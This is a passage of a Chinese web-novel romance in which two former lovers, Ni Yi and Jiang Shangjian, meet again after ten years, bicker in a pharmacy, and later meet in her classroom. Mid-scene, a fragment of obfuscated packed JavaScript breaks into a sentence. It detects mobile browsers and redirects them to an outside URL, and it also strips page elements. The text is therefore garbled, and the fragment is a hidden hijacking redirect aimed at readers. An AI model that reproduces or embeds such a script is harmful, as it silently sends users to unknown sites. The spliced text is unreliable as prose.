要想玩她,还真得多加小心才行,不然打鹰不成,反让鹰叼了眼。 蒋商鉴暂时没那猥琐喜好,得循序渐进,倪旖细胳膊细腿一踹就得残废,每次螳臂挡车,都是车小心避让,就这倪螳螂老是碰瓷,没碰着就得哎呦叫唤。 蒋商鉴反手攥着她手腕,用拇指轻轻抚摩过她手腕内侧肌肤。 “你妈,揩油呢?”倪旖鸡皮疙瘩掉一地,直接上脚踹他。 “不是故意的。”蒋商鉴一躲。 大活人,喘着气呢,怎么可能不是有意为之。 倪旖一个劲挣扎,猛地一把打掉他的手:“你他妈的掐到我了!” 天边橘红色鱼鳞似的云移动,光线逐渐明朗,连背阴处也没那么恐怖。 蒋商鉴向来不跟倪旖闹腾,何况掐这么上不了台面的阴柔手段。 “知道你细皮嫩肉,可也没这么娇气吧?打我的时候不嫌痛?”蒋商鉴生拉硬拽将人弄去街角旧药店。 “救命,报警!”倪旖大叫着,还顺带瞅见门口瓦缸里有满满盛放荷花,仔细一看,中通蔓直的莲蓬躲芙蓉后。 第一次见蒋商鉴那个夏季,她偷的莲蓬就是这里的,这家药店也是酒吧老板的。 前台小妹吓一跳。 蒋商鉴抬眸冰冷,眼皮褶子浅得看不出是双眼皮,瞳孔寒冽且漫不经心,微抬眸时眼瞳下面是一丝白,很阴郁桀骜,下颚线弧度流畅,微仰时凸出的喉结上下缓缓滚动着。 “……这小孩走丢了。”蒋商鉴脸不红心不跳扯谎,垂眸抬头视线落在倪旖身上,她这么多年一点没变,看着未成年似的,有一搭没一搭地嚼着嘴里薄荷糖没说话。 前台捂着座机不敢轻举妄动。 “……”倪旖反问,“你见我这么像成人的大龄儿童?” “侏儒野兔崽子。”蒋商鉴扯犊子,拉开拉链从她包里暴力拽出张纸,擦完手的纸巾仍在垃圾桶里。 前台小妹看热闹。 “我对象。”蒋商鉴只好这样解释。 倪旖这下爆炸,瞪着他,顺势而为,带着哭腔可委屈道:“什么破直觉哎,去星巴克左转,一直左转,到了药店,你丫闭嘴。” “快到了嘛。”蒋商鉴喜欢看她装疯卖傻撒野模样。 “快到了!快到了!一直说快到了!跟你在一起的这几年我就没快到过。”倪旖装撒泼样子故意让蒋商鉴难堪。 感觉车轱辘碾压,前台小妹竖着耳朵。 “好啦,宝贝儿,回去再慢慢说。”蒋商鉴就哄着,怕她再作妖,也嫌弃丢人就拉着人往拐角安全通道,见到禁烟标志就往室外楼梯墙壁那边。 倪旖直勾勾盯着他,满含泪水:“你哪有慢!快得很!跟你在一起快得很。” 蒋商鉴凑上去捂住她嘴巴,凑她耳边细声细语道:“别乱叫!” “……”倪旖就看他自来熟模样,将他手扒拉开,咳嗽两声,又想踹他,还被他具备先见之明躲避。 蒋商鉴随意从烟盒里摸出一根烟,手指捻着烟习惯性在烟盒旁边磕了磕,然后咬在嘴里,抬手捂她嘴,凑上去便准备假戏真做:“快嘛,哪天你要愿意,我等你,看看我有没有骗你,就是会到。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356555|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >倪旖脸红得发烫。 蒋商鉴一低头,清脆一声摁着金属银制打火机,拢火往前一凑,烟点燃,薄唇里呼出一阵白烟。 倪旖瞅着那烟鬼颓废模样,烦得要死,幽幽道:“肺挺好?” “消遣而已。”他烟雾缭绕答道。 “你真是好兴致,”倪旖嫌弃道,猛然嘲弄一番,“一点一点自杀。” 蒋商鉴躲烟雾后,淡然一笑:“多谢关心。” “到底迷没迷路?”前台一愣,看他们逐渐走远怕真要出事良心不安,着急忙慌,垂眸不敢看蒋商鉴。 “我没迷路。”倪旖语速慢吞吞,嘀咕着,“但他说我迷路了。” “……” “那我就只能迷路了。” “……” “所以,报警抓他。”倪旖还顺便倒打一耙,凭借人畜无害长相,微微橙色照射进来,照在她白得几近透明肌肤上,上面细小绒毛都清晰可见。 “报警,”蒋商鉴听到这句话缓缓笑了,垂眸挑衅,嘴里薄荷糖嚼得嘎嘣作响,糖末抵在舌尖翻转,毫不留情讽刺,“还没见过嫌疑犯自投罗网。” “……”倪旖忍忍道,“我也受伤了,没法判定谁先动的手。” “你哪伤了?脑残算吗?”蒋商鉴走在前面,一如既往的懒散随意,或许是被揍猛了的缘故,脸色有些苍白。 倪旖气急败坏举起左手腕:“这里啊。” 蒋商鉴轻轻一瞥,小拇指指甲盖大小刮蹭伤口,嫌弃道:“就这逼样?别说去警局,现在都愈合了。” “……”倪旖神色闪过一丝阴郁,眉眼透着戾气,直接撂话,“你让它立马好,我妈妈看到破了皮得难过。” “十年不见,还是一副妈宝样?”蒋商鉴眼底微微浮起的笑意,准确道出那侮辱性词汇。 “……”倪旖朝他膝盖踹一脚,被他躲过去。 “到底要不要报警?”前台看那打情骂俏,觉得自己姓氏于也许该改,明显是多余的余。 “喷雾就行,她手止痛用。”蒋商鉴将手机支付二维码大喇喇放收银台,往边上去,在吸烟处等着。 倪旖攥着喷雾处理伤口,也懒得管这畜生死活,死就死了,受害人都会少一点的。 倪旖嫌渴就溜达到自助饮水机边。 忽然,一道黑色影子投在饮水机镜面上,熟悉薄荷味传来,是蒋商鉴。 蒋商鉴拿着一个透明的杯子接水,他微弓着腰,窗户把投进来暧昧余晖切成细小碎屑光斑落在肩。 蒋商鉴手指微颤握着杯子,骨节突出来,细白指尖曲着抵住纸杯壁,冷水出来,冰雾浸满杯身。 倪旖就知道他得沾染西方那套死规矩,斜斜瞥一眼,呛着说:“多喝热水祖训都不记得?” 蒋商鉴指关节延伸肌腱微微发抖,以致于杯面的水在轻轻摇晃。 他的手指一定很疼。 倪旖撇开脸,随意道:“记着你姑奶奶,再惹着我,你得坐轮椅。” 倪旖低头在包里翻来翻去,最终找到一个粉色的疯狂动物城朱迪创可贴,随意地将上面的褶皱顺平,递给他。 蒋商鉴没说话,盯着她手里创可贴看了两秒,最终将眼神移向倪旖,难以置信道:“你觉得我一大老爷们会贴这玩意?且不说过没过期,这粉色你狗眼睛瞅着合适吗?” “爱要不要。”倪旖懒得解释,这是小虫草送给她的,就想转身离开这鬼地方。 他的脸离得很近很近。 蒋商鉴细细打量倪旖,巴掌脸,白皙还透着一层粉色,盈盈笑眼,笑起来还有两个可爱小梨涡。 倪旖想转身,被他按住肩胛骨凸起位置,接着他俯身紧紧抱住她,将脸埋进她肩窝里,没说话,鼻梁轻轻摩擦着她温热的颈项,有种酥痒感。 “干啥玩意儿?”倪旖觉着惊悚。 蒋商鉴蹙紧眉头,眼睛沉沉,眼底翻涌的情绪到底压抑不住:“别动。” “咦,你滚。”倪旖就受不了他,使劲挣扎,一只冰凉的手搭到后颈珍珠扣上,接着是几丝细微响动,也许是布料的摩擦声音。 啪嗒。 笔落地的声音。 前台吃瓜呢,还保持着张嘴姿势。 蒋商鉴随手将纸杯投掷到垃圾桶,手指在珍珠扣上抚摸,视线看向屋内的前台,神色凌厉。 蒋商鉴恹恹的苍白脸色时停一下,头靠在她肩上,柔软发绒绒地触在侧颊上,温软的,带着她身上甜腻蛋糕味的沐浴露,好一会儿才结束单方面温存,抬起眉骨,语调慢悠悠的:“你这么野,河东狮哄似的。” 倪旖一脚跺死他,又踩了空,他就跟蛔虫似的准确把握她的雷点,她生物种类突变,跟跳蚤似的反复横跳。 蒋商鉴修长后颈一排棘突明显,后背宽阔劲瘦,正中间有两道暗红伤痕,透着紫色淤青。 那是她腰带勒出来的金属扣痕迹。 倪旖动作顿住,问道:“疼?” “没,你毛弄到老子,”蒋商鉴嗓音清淡低沉,缓缓撂出个字,“……痒。” 晚风吹拂起药店白纱窗帘,倪旖看见燃烧的夕阳从街道尽头坠落,染红邻街建筑物和钢铁车残骸。 “松开昂。”倪旖威胁着,往后躲躲。 蒋商鉴双手插兜,一步一步朝她走去,目光笔直地盯着,距离近得都能表演斗牛角术。 他身上浓郁雪茄烟味袭来,凛冽气息让倪旖皱了没,她下意识地后退,结果那孽畜更近一步。 倪旖晓得蒋商鉴现在很出息,最近拿个麦克阿瑟天才奖,天降奖金。 蒋商鉴俯身看她,摸着她耳垂后的痣。 那颗痣很小,但却很浓,耳朵上那小小一点皮肉都仿佛被染透了,极其惹人注意。 那时,他经常吻上去的,就这样含着,舔舐,就像口腔里有个珍珠。 蒋商鉴压着几分轻佻和散漫:“讲真的,要不你替上?” 倪旖被摸得耳朵一阵阵地痒,在孽畜注视下,她恼怒被羞辱感剧烈。 孽畜晓得那颗痣是她某个敏感点。 那时,被吻总会有一阵生理性战栗,会在他怀里瘫软痉挛。 那一瞬间,羞恼情绪从心底缓慢地扩散出来,像是一滴墨水滴进无色纯净水玻璃烧杯里,然后慢慢地,慢慢地,把一杯水染成黑色。 见倪旖不吭声,蒋商鉴逼近一步,抬了抬眉骨,问道:“嗯?” “……”倪旖真服这孽畜,行,行啊,她接连向后退了几步,无意撞得盆栽玫瑰丛摇晃哗啦哗啦,光线被轻微投射式隐住,有什么掉落。 蒋商鉴站在她面前,慢慢靠近她,薄唇正一寸寸往下压。 妈的,倪旖攥着拳头都硬了。 距离好近,近得她可看见他黑漆漆的睫毛,以及略带戏谑的狭长眼睛。 一颗心提到了嗓子眼,倪旖瞪着。 倪旖心里微微有些疼,像是一张白纸被轻微地揉起来,再摊开后就是无数细小的褶皱。 他都坏得六亲不认,玩女人,恶意引诱前女友……一系列大逆不道的事。 有一种白月光回国后性情大变的无力感。 55.荣誉 倪旖微微酸楚漫上来,在听到任何关于美利坚被劫持留学生新闻时,都会不自觉放慢脚步竖着耳朵留意。 好多好多次,她都会朝东方发呆。 她感受到了大多数人所说的孤独,也感受到了她对他独一无二的想念。 蒋商鉴俯下身,伸手用拇指和食指钳住她肩膀处淡粉色玫瑰或者野蔷薇花瓣,竟然送进了嘴里。 她戏谑“嗯”一声应他,被巨大悲怆裹挟,颤着声问:“难受吗?” 蒋商鉴一愣,肾上腺素飙升,豆大汗珠顺着额角滚至脸侧,生理性抿了下唇。 倪旖漆黑杏仁眼珠渗着湿漉漉的水汽,像在潮湿热气里起雾的玻璃珠。 撇头避免直视,蒋商鉴心一酸,漫不经心的嘴唇抵着浅粉色花瓣,牙齿慢慢咀嚼蚕食,一点一点,渐渐的,澄澈眼睛里透着戏谑的笑意。 孽畜天生坏种,透着一股邪劲儿。 一个连呼吸都要过审的男人。 “那人是谁啊?”蒋商鉴摸摸她微微湿润的眼睫,心都颤一下,便撩骚逗她高兴,“现男友?眼光真差,他屁股还没我的翘。” 倪旖一股子倔强撇头不理睬。 明明知道对方想说啥,偏偏不回答问题,一丁点小别扭可酸人,就跟情侣小闹脾气似的。 “遇着烦心事?”蒋商鉴吊儿郎当的慵懒调调,就跟刚睡醒似的,勾着邪笑,“来,爷的翘臀再给你免费摸两下。” “现在不想摸嘛,”倪旖转移话题,嘟嚷道,“没事儿,午休被弄醒,到现在一直处于迷糊状态,眼睛都睁不开,好难受。” 蒋商鉴将人死死搂怀里,一边偷偷诧异,她居然肯让他碰着:“你这个烦心事……就很实在。” “商商,”倪旖一顿,“你谈女朋友了嘛,我是说,正经那种。” “国内白瘦幼我都完全没欲望,欧美那些大妞看着多爽。”蒋商鉴笑道。 “……”倪旖轻咬唇,倔犟抬眸红着眼眶微微酸涩道,“那好好谈对象,不准瞎搞男女关系。” 蒋商鉴满眼冷漠,心里爆炸一万次,他装成这副渣男样,连自己都恶心,倪旖居然没吃醋,他好生气,连呼吸声都沉重,压抑情绪后,淡淡道:“这没法答应,你就睁只眼闭只眼。” “那你也不能勾搭有夫之妇。”倪旖满脸怨气。 蒋商鉴凑上去,领带随意束着,领口处纽扣也有些松松地敞了,微微露出胸膛上侧锁骨,用她听得着的声不屑一顾道:“你是说……你?” 倪旖一愣,急忙掩饰心里猛然蹿起的小小惊慌,故作镇定地抬眸,轻声反问:“嗯!” 蒋商鉴飘飘然:“我乐意当狐狸精!” 倪旖不敢相信美利坚水土能把人变得这样龌龊,难以置信瞪他一眼。 蒋商鉴被迫在拳头威胁下不情愿说话:“我!乐!意!” 倪旖沉默,随之爆粗口:“滚——” 蒋商鉴擦擦嘴角露出一点血丝,细细嗅着倪旖气味,甜甜的香草蛋糕味,浑身都软绵绵,难得正经:“十年了,没想过我一次嘛?” 倪旖被锁在臂弯,难得心软,不自觉便埋在他胸膛哽咽着,指尖细细摩挲他锁骨,一点一点描摹他形状,那是她念挂好久的:“那你每晚找洋妞,大屁股大胸的金发妹?” “玩儿嘛,懒得找正儿八经对象,就想随时脱裤子解决生理需求。”蒋商鉴笑得勾人,连眼角笑意都漫不经心到欠揍。 “滚。”倪旖立马翻脸,趁着他不注意猛地使牛劲儿将人推开。 “不乖。”蒋商鉴捂胸口装伤心。 倪旖撇了撇嘴不以为然,听话又怎么样,你妈还能治得住你呢,你会跟你妈谈情说爱吗……再说,乖你妈了个大臭鸡蛋。 “我还会回来的。”蒋商鉴拍拍胸前被她哭的泪痕,笑道,说罢,慢慢朝前走去,一步一步,俯下身缓慢凑近。 日光落在他身,晃都不晃一下。 微微透亮白衫薄薄敷在背上,耸起两支清晰的蝴蝶骨,随着呼吸一点一点浮动。 “最后一个问题,”蒋商鉴纨绔变为深情,声音温柔,“有没有忘记我?” 倪旖低头时泪濡湿眼睫,沉默片刻用空白回答问题,又或者躲避问题。 “你干嘛抢灰太狼的词?”倪旖飞速逃跑,表演一出落荒而逃戏码,跑了半截路,又悄摸着飞快摘掉莲蓬,熊孩子调皮,眼睫那泪跟荷露水似的挂着。 蒋商鉴一个人站在人来人往的街道上,夕阳横斜,不知不觉就发着愣,直到突如其来巨大的悲伤再也压抑不住,视线开始模糊,但他仍逞强着,即使整个身子都在微微颤抖,仍不愿让自己掉泪。 他丢掉好多,好多他不舍得,却不得不。 蒋商鉴就这样仰躺在板凳上,半天都不想动。 他曾经幻想过的和倪旖的未来,是早安午安晚安,既是夫妻,又是知己的平静寻常生活。 他也曾迫切地想知道,倪旖能不能坚定朝他走来,如果倪旖能够,那么倪旖能够做到的,他也可以做到。 只是倪旖就是纸糊的老虎,既要又要,永远都拖延,怕做选择。 “哎,商商。”妃子追上来。 尽管他不知道在刚刚那几分钟里,蒋商鉴到底发生了什么事,但见他捂着脸弯曲脊骨哭得无法自已,一时间也不知道该怎么办,只好就这么僵硬着,待在一边,任由他闷闷痛哭。 其实,旁观者最清楚,一个词就能概括,画地为牢。 互相喜欢,又顾忌太多,反复试探,反复失望,干脆躲避。 至少,还能藏着回忆偷偷咀嚼。 纯粹的爱在他俩间就是一种只有在回想时才会出现的情绪。 在弄清确定这种情绪前,他俩宁愿先把爱意砸成碎片。 这种情绪已经持续快十年。 也不知多久,就见他收敛好情绪当作没发生什么。 蒋商鉴攥着药袋子跟追过来的妃子说话:“我越想越觉得倪旖不对劲儿,简直和善得不可思议。你说这里面是不是有什么问题?” 和善?真核善!妃子皱眉腹语。 “她居然让我抱着唉?”蒋商鉴抬眸间全是激动。 蒋商鉴模模糊糊感觉到,倪旖的世界里,他这个会喘气、会说话的活物,对于她,就像个屁,放了就完事。 可他一想到倪旖,小小的破孩儿那双黑白分明坦坦荡荡的眼睛,心里不知道为什么,有点不得劲儿。 “那挺好。”妃子尬笑着,这一级易燃物居然忘记破了相,“你变了性情后跟她待不了一小时就得打起来。” 蒋商鉴顿时张口结舌,发现这句话说的还真是有道理。 每次他偷摸找她,都是有事而去。 可两人谈了不上三五句,就不晓得扯到哪里去了,最后气哼哼的一拍两散,都不知道是因为什么。 蒋商鉴钻车里,准备跟国内哥们聚聚,毕竟今天中午才回国,没来得及。 地下隧道里没什么车,妃子开得也快,很快就载着他驶出隧道。 蒋商鉴几乎是下意识回头,看着那隧道出口在视野里越来越小,表情平和,看着恣睢随心,实又显得人清冷凛然,不好相与。 妃子很敏锐,减慢了车速。 蒋商鉴脑里闪过一张小脸,他好想倪旖,他想跟倪旖复合。 妃子试探性问道:“你说到关于对倪旖那心情,我不是很明白。” “逗着玩。”蒋商鉴随意道,他聪明又散漫,给人的观感就是不费力就能得到顶端机会,走哪里都招人恨。 妃子沉默着,良久假装不知道询问:“那她是不是现在还对你有点意思?” 天上没风,也没云,半空里含着一些暴躁的意味。沉默良久,车都快开到目的地,蒋商鉴才回答一句:“以前不觉得那隧道这样短。” “你跟她——”妃子停顿。 蒋商鉴知道他想问的,可偏偏装作不懂,眸色微微暗沉道:“没结果。” 妃子淡淡道:“那你如此嫌弃,想听着她近况还总会骂骂咧咧打探。” “……”蒋商鉴沉默看向窗外。 就好像还有很多很多事,他本来以为可以更长久,可还是跟短命鬼似的。 “你平时跟倪旖在手机聊天啥啊?不能稍微缓解点关系?”妃子擓头发。 “那傻子还以为我不知道微信文件传输助手就是她冒充的,我一开始就知道,不然拍视频记录日常给鬼看嘛?”蒋商鉴眼神微微落寞。 “什么视频?”妃子瞥一眼蒋商鉴,两手掌拍拍方向盘。 “……洗澡什么的。”蒋商鉴揉揉酸胀太阳穴。 “我……我我,”妃子难以置信,随后疯狂嘲笑,之后几秒像是回忆到什么事情似的恍然大悟,这馊主意还是他给蒋商鉴出的,“你还真信我那时的胡诌玩笑话。” “是嘛?那你说倪旖就一点感觉没嘛?每次都立刻接收视频,不解释她就是微信文件助手,也不拉黑,就纯白嫖我十年。”蒋商鉴这时都气得想笑。 “你俩活该折腾十年,不长嘴。”妃子犯嘀咕,憋不住事儿就直接问。 “她嘴太硬,既要又要的。”蒋商鉴满脸落寞。 “你嘴怕也是被订书机嚯嚯了,但凡你俩有个人先服软,现在都七年之痒,你纠结的将是出轨吵架互相伤害,不像此刻似的破镜碎得稀巴烂。” 妃子都无语,他都结婚快十年,闺女都上小学,兄弟年近三十还在搞纯爱。 “我半夜好想她,就买机票飞回国,落地看她朋友圈在太古里,就想远远望一眼,也不能暴露,迫不得已站塑料模特里装假人,她倒好,来来回回就在那店里转悠,逼得我在哪儿站着装假人一下午。” 蒋商鉴那幽怨眼神投到像教堂彩玻璃碎片似的窗外建筑上。 “你是不是爱坐飞机?十年一抽屉机票不嫌折腾?”妃子想锤爆恋爱脑。 蒋商鉴自嘲般笑笑,他根本就忘不了倪旖,也没想着遗忘。 妃子有时候真瞧不起这朋友,非得跟喜欢的人拉扯,没意思,还旁敲侧击在邮件里戳短嘴硬,便幽幽道:“你发消息时很谄媚的。” 蒋商鉴自嘲:“喜欢就是谄媚好听一点的说法,不巴巴贴过去,就被忘记。” “但你也谄媚过头。”妃子扶了下方向盘就很无奈。 “太过喜欢就会谄媚过头。”蒋商鉴淡淡道,随后抹了一下发酸的眼皮,转移话题,“你以为你还没结婚呢?” 妃子笑得要死:“我家那位社恐。” 气氛又沉默着。 妃子扭头问:“你谈了新对象?我刚到的时候,听着你说,现任什么的。” “逗她的。”蒋商鉴根本没把这事放眼里,半靠车椅上,听到发动机通过固体金属零件放大的嗡嗡声,穿透车窗时马路边叽叽喳喳说话声瞬间沉闷。 “你就嘴硬。” 蒋商鉴很疲倦,听不清妃子在说些什么,只是感到疼痛从头到脚,一阵阵,像拧毛巾似的拧着身体。 妃子瞥一眼他,蒋商鉴不说话时总有种聪明人的疲倦感,微微蹙眉。 “我觉得倪旖还对你有感情。”妃子尽量客观,可瞥见那蒋商鉴那一秒,倪旖的小心思在这些知情人眼里就无所遁形。 “呵——”蒋商鉴狭长眼睛微微眯着眼,不屑于争辩什么。 “你不担心嘛?”妃子着实不太懂他俩莫名其妙的争斗。 “我?需要吗?”蒋商鉴简直笑得要掉眼泪。 “不追老婆就跟别的男人跑了。”妃子苦口婆心的。 “随便。”蒋商鉴叹息。 “那我就真随便了。”妃子鬼兮兮说话。 “这也忒损了点儿吧。”蒋商鉴咳嗽两声。 “倪旖上次抱着那孩子是混血,到底是谁出轨啊?”妃子摆弄一下后视镜。 “你别说了!”蒋商鉴头痛欲裂,他嫉妒得快发狂,倪旖太讨厌了。 妃子不地道乐呵两声:“你说,要是那是倪旖的私生子,你有幸跟她复合,你就当便宜爹了。” “我最讨厌小孩子!”蒋商鉴眼里冒着熊熊燃烧的火焰。 “我说真的,你接受这样的倪旖嘛?”妃子给他递过去一瓶纯净水。 蒋商鉴攥着那塑料瓶,指尖微微发白,眼神凌厉:“她不是那样的人。” “假如那孩子就是倪旖出轨生的,你再爱她也会没安全感的吧?”妃子不断加码,特好奇那搞纯爱的傻子所有底线。 “首先,倪旖绝对不会出轨,再次,就算倪旖出轨,那是丁越青没本事留不住她的心,最后,她从十年前出现那刻就给予我长盛不衰的安全感。” 蒋商鉴就算愤怒、嫉妒、仇恨、阴险……但最偏僻干净的一隅仍藏着她。 “假如倪旖没出轨,是丁越青绝精,那混血崽是人工受孕,他俩很相——” “倪旖今天看我跟别的女人瞎搞很生气,她是爱我的。” “假如那只是对初恋出国烂掉的惋惜呢?” “她爱我的。” “假如她现在很幸福,你还要介入她的生活嘛?” “……” “假如你只是一直幻想还被她爱着呢?” “……” “假如从一开始她只是玩玩呢?” “……” 好多好多问题泼洒开来,蒋商鉴被泼成窘迫落汤鸡。 蒋商鉴精神恍惚地和朋友道别,没心情去鬼混,独自回房间,就直愣愣做床沿边,咚咚,无意识用手指轻轻地在柜台桌面上敲了敲。 等到头脑终于逐渐冷静下来,悲伤再次势不可当地涌上心头。 不是懊悔,就是纯粹的悲伤,纯粹到无法让他忽视。 蒋商鉴脑海里浮现出一个伏在纯松木矮脚桌上挥毫补作业的背影,小小的,缩成一团,满脸焦急,卷翘睫毛还挂着泪珠。 还记得补作业到手酸的倪旖看哈利波特电影碟片若有所思:“要是会魔法就好啦,好方便啊,我以后做数学卷子,就直接对着它喊‘计算’?” “……你怎么不直接对着竞赛考场大 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这里她来过,跟商商第一次见面那次,在马戏团落荒而逃后,在这里剥莲蓬。 莲蓬很苦。 “没死,”倪旖接通于老师电话,淡淡道,“一搂麦门处。” 于探碛急死,总算找着人,奔跑着往麦当劳那边去。 倪旖左手拿过装着咖啡的纸杯,右手掏出手机,还有点迷瞪地刷脸点开微信。 自打回妈妈叫吃饭那条语音之后,就再没看过微信。 小红点点扒拉着,显示有5则未读。‘ 倪旖从第一条语音听。 “宝宝,晚上回家吃饭吗?” 点击按钮,倪旖凑进说话:“妈妈可以支援一下嘛?” “找你有钱的父亲。” 倪旖就听妈妈说,很冷漠。 “……”倪旖刚准备解释,这不是钱,这是妈妈的爱,就听着动静。 刚追上来的于探碛也搞不清倪旖是什么品种的拉布拉多,啥都吃,还总饿,一个劲猛吃没一会儿就消化了。 倪旖揍人后就觉得精疲力竭,倦怠到似乎一闭眼就能睡着。 可脑却不受控划过回忆,一点点地将她的精神撕裂。 “还能走嘛?” 倪旖眼神落寞,淡淡道:“还行,有点累,等会儿再走。” “爱情就像树叶,不是绿了,就是黄了。淡定,淡定。”于探碛实在不会安慰,蹩脚说着话。 “……”倪旖懒得解释,她跟蒋商鉴曾经关系很棒,闹笑着,跑海边养殖基地捉螃蟹,干尽一些匪夷所思坏事。 街灯透半透明光晕,亮灯临街店铺似乎漫入闪烁光彩之中,靠夜里那股湿气黏附在倪旖额上。 太阳微醺,影子将他的身影拉长,倪旖盯着渣男的背影眼睛泛酸。 于探碛陪着她,在经过灌丛时,蹿出来的枝叶挡一下他额,他侧脸躲了一下,下台阶后俩人背影消失在拐角处。 拐角马路边,俩人上了车。 丁索隐特热情举着一根饼干棒对倪旖说:“来,抽一根。” “我看着像混社会的人嘛?”倪旖连头都没抬,就顿时无语。 “不是?”丁索隐就爱吃瓜,着实高兴,就算此刻是个狗都会被踹一脚。 “抽什么抽,抽你脸。”倪旖小声嘀咕。 于探碛板脸:“跟谁说话呢?” “开你的破车!”倪旖情绪上来,谁都怼一句。 “我能不能给她来一拳?”于探碛受不了。 丁索隐给老公示意闭嘴,然后楼她肩膀安慰道:“很难过是不是?” “他怎么变成这个鬼样子,我都要下头了!”倪旖无语得反而噗嗤一声笑出来。 于探碛还生气呢,嘟囔一嘴:“也就你跟孩子似的。” 丁索隐吃瓜不要脑袋,咬着抹茶饼干棒,好奇试探道:“蒋学长回国任职岽大,你知道嘛?” 倪旖瞪她一眼,不说话,细想蒋商鉴野蛮生长史。 十八岁的蒋商鉴在普林斯顿大学分子生物学系攻读博士学位并进行博士后研究。 二十三岁的蒋商鉴获国际蛋白质学会“青年科学家奖”、“赛克勒国际生物物理奖”,同年受聘为普林斯顿大学分子生物学系雪莉·蒂尔曼讲席教授。 二十五岁的蒋商鉴任职于麻省理工学院,在麦戈文脑科学研究所大脑与认知科学部门和博德研究所从事科研工作。 二十八岁的蒋商鉴归国受聘岽安大学生命学院,将成为目前该校最年轻的教授和博士生导师,同年入选国家杰出青年科学基金资助项目。 他还获得很多很多奖项。 他的理想长存着。 小虫草的幼儿园在私人滨海沙滩。 随着滨海公路蜿蜒,窗外海水呈现一种毫无杂质、果冻般的晶莹剔透,海底触礁水藻清晰可见,沙滩的沙子洁白细腻。 刚停下车,丁索隐就迫不及待一脚踩上去,触感柔软。 “你慢点啊。”于探碛倒吸一口凉气。 “妈咪!我有小零食哦。”小虫草就要从家庭教师怀里往外蹦。 倪旖赶忙接住小鼻嘎,生怕他磕着碰着得哄一晚上。 “妈咪,你带我去玩游戏机,我就送零食哦。”小虫草对于贿赂无师自通。 倪旖勉强挤出笑容,把人放地上,就开始撺掇烦人精换个对象骚扰,指着远处夫妻俩:“看,你小丁姨姨肚子里面有个小宝宝哦,你去看看。” 小虫草新奇,小跑着哒哒哒就去烦人。 “姨姨!” 小虫草跑得一脑门子汗。 像个甩着舌头撒泼的小土狗。 于探碛瞬间一愣,赶紧将崽抱起来,怕碎嘴子话太多烦着老婆。 那崽子就跟倪旖性格一模一样,碎嘴子小烦人精,但特讨人喜欢。 在接下来两周,那姓蒋的混蛋又消失了。 倪旖晚餐期间低头敲字,连吃饭都敷衍,忙完就溜达着坐地铁回学校,到宿舍门口才察觉还没收拾行李箱将衣裳装回来。 一趟白忙活,就回家蹭丁越青一顿海鲜吃。 倪旖只是吃得嗨,休息半小时就当助教代课去,公选课就随便讲讲就行。 教室座位即将坐满,上课铃声响时倪旖抬眼扫视了一圈,眉微皱,那大一弟弟妹妹见她时意外眼神和四面八方对准的手机摄像头。 倪旖咳嗽两声,将PPT文件展开,随意道:“你们老师生病,请我来代课,后续会有专职教授过来的。” 有台下喧闹一片,隐约听见:“小道消息是是真的?听说蒋商鉴也旁听。” 前排小女孩手机屏幕上还跟朋友聊天呢。 聊天框里有点俩人遗憾瞬间文字记载。 倪旖曾逢人就说,你见过蒋商鉴没,十八岁呢,很清秀一个男孩。 56.调戏 倪旖弯唇轻笑一声,擦擦自然滑落的眼泪,继续道:“你这小道消息不保真啊,哪儿有蒋商鉴啊?这么嘈杂,先安安静静点个名。” 远处建筑微敞着的玻璃窗反射着太阳光线,倪旖被晃得眯了眼,抬头一看,不受控制地抬手遮挡,却在指缝微微隙开的空隙之间,面前递过来一包纸巾。 这才将视线转移到面前那人身上,蒋商鉴在逆光处,暗色眸子在他遮挡住的阴翳之下十分瞩目,鼻梁上架着浅淡烟丝灰丝镜。 “那么想我?”蒋商鉴慵懒随意勾起笑意,单手缓慢取下眼镜,直直地朝着第一排讲桌正前面靠背上一倒,那双眼睛赫然闭上,抬起左手有些疲惫地揉了揉山根。 “啊?”倪旖一脸懵逼。 “我来跟踪授课进度。”蒋商鉴深邃的眼睛在隐隐日光下熠着流光,嘴角微抿,淡淡看着她,长长的睫毛在复古暖黄光下在脸庞洒下影。 倪旖怒视一眼躺着死尸状的蒋某,勉强挤出笑容,算是明白接手老师是哪一位,她还得配合他发布学业任务一整年。 “你!” “我什么?”蒋商鉴看一眼银灰机械表盘,距离上课还有五分钟。 “无耻之徒!”倪旖鄙夷一眼,毫不犹豫举起中指。 全班都熙熙攘攘的嘈杂声,这些学生都来看热闹的,蒋商鉴可是名人,最年轻博士生导师呢,连带上倪旖都在表白墙火了一把。 倪旖抬眉看了眼旁边的人,墨蓝绸缎西服,特贵气,袖口不知什么时候就散开,马甲随意搭在细窄的腰间,胸膛线条流畅分明,在绸质面料上勾勒显形。 “哦,你博导生病住院,我现在暂时接管你那组学术咨询,勉强算是你新导师,下课到我工位一趟,汇报一下课题进度。”蒋商鉴深棕发色沾了些晚霞的露,微湿,耷拉在额前,鼻梁上的烟丝灰丝框眼镜总是滑不下来,稳稳当当停在山根处,鼻尖有一颗棕痣,特性感。 倪旖有时候也想不通先婚后爱那俗套剧情没发生在她身上的原因,可能丁越青不是安生的主,情人一堆一堆的,导致蒋商鉴白月光含金量大幅提升。 蒋商鉴是真爱吃甜青团啊,一手拿着散发艾香的青团,咬开一个小口,细细咀嚼,很斯文。 倪旖不得不承认,她还喜欢蒋某,喜欢得不得了! 她还是想把蒋商鉴锁在金丝笼里。 连表演的愤怒都无法掩饰小心思。 前排小女孩吃瓜不要命:“你之前见过倪旖嘛?” “见过,很多年前了。” 蒋商鉴眼神有些陌生,他的眼神像是穿透她,不知道怀念些什么。 经过漫长崩溃的心理历程,翻过那堵名为国界的墙,他想他终于自由了。 可,他整晚整晚想倪旖,想得发狂。 获得自由的第十年,他忽然明白,自由其实是一无所有。 他的理想,不是里程碑,不是达到了就能考虑金钱名利等等。 他的理想里好像没有了倪旖痕迹。 没有倪旖,他所有荣誉都像废纸。 倪旖上课说话的声调清晰而快乐,分外舒坦,让人一下就知道很高兴。 窗外是深深树林,飞鸟像游鱼般缓慢地滑落进浓厚绿色里。 